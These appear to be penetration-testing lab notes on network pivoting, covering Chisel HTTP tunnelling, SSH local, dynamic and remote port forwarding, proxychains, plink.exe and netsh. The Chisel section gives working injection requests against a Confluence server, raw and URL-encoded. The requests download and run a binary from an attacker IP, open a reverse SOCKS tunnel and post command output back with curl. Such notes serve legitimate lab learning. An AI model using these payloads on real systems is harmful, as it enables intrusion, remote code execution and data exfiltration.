Windows

HTTP Tunneling with Chisel

Provided IP: 192.168.45.209

CONFLUENCE01: 192.168.177.63

PGDATABASE01: 10.4.177.215

Payload: wget 192.168.45.209/chisel -O /tmp/chisel && chmod +x /tmp/chisel
Encoded: wget%20192.168.45.209/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel
Curl Request
curl <http://192.168.177.63:8090/$>{new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','wget 192.168.45.209/chisel -O /tmp/chisel && chmod +x /tmp/chisel').start()")}/

Encoded
curl <http://192.168.177.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.209/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/>

Payload: /tmp/chisel client 192.168.45.209:8080 R:socks &> /tmp/output; curl --data @/tmp/output <http://192.168.45.209:8080/>
Encoded: /tmp/chisel%20client%20192.168.45.209:8080%20R:socks%20%3E%20/dev/null%202%3E%261%20%26
Curl Request
curl <http://192.168.177.63:8090/$>{new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','/tmp/chisel client 192.168.45.209:8080 R:socks &> /tmp/output; curl --data @/tmp/output <http://192.168.45.209:8080/>').start()")}/

Encoded
curl <http://192.168.177.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.209:8080%20R:socks%20%26%3E%20/tmp/output%20%3B%20curl%20--data%20@/tmp/output%20http://192.168.45.209:8080/%27%29.start%28%29%22%29%7D/>

SSH Local Port Forwarding

  • Practice:

    Edge Device IP (CONFLUENCE01): 192.168.110.63 SSH server IP (PGDATABASE01): 10.4.110.215 Target IP (HRSHARES): 172.16.110.217

    Provided Attacker IP: 192.168.45.209

    Enumerating the edge device, we identify a remote code execution vulnerability we can exploit to obtain a reverse shell.\

SSH Dynamic Port Forwarding

Now that the destination socket is dynamically assigned, we need to configure proxychains to facilitate the forwarding of traffic. After installing proxychains, we need to configure the proxy in /etc/proxychains.conf

Now on the attacker machine, we can run commands as if we are on the proxy machine, as long as we include the command proxychains at the start of the statement.

  • SSH Remote Port Forwarding

    Because inbound traffic is much more restricted compared to outbound traffic, we may not always be able to SSH directly into a network and port forward from there.

    Which is why we perform remote SSH port forwarding, by initiating a SSH connection to our attacker machine, we are able to bind a listening port on our attacker machine to an internal address accessible via the SSH client.

    With the listening port bound to the attacker machine, the SSH client is now responsible for forwarding traffic.

Now commands can be ran with the target IP being the attacker’s localhost, and it will be redirected to the specified target IP and Port

  • SSH Remote Dynamic Port Forwarding

    Like SSH Dynamic Port Forwarding, we are implementing the dynamic aspect to our SSH Remote Port Forwarding attack.

Like SSH Dynamic Port Forwarding, we will need proxychains to facilitate the forwarding of traffic. After installing proxychains, we need to configure the proxy in /etc/proxychains.conf

  • plink.exe

    • A cli version of Putty

    • Used to initiate an ssh connection to the attacker machine, to create a listening port on the attacker machine, which will be forwarded to the target IP and port

  • netsh.exe

    • Can be used to create a port forward with the port proxy subcontext

    • Requires administrative privileges to create a port forward on Windows

PreviousLinuxNextEnumeration

Last updated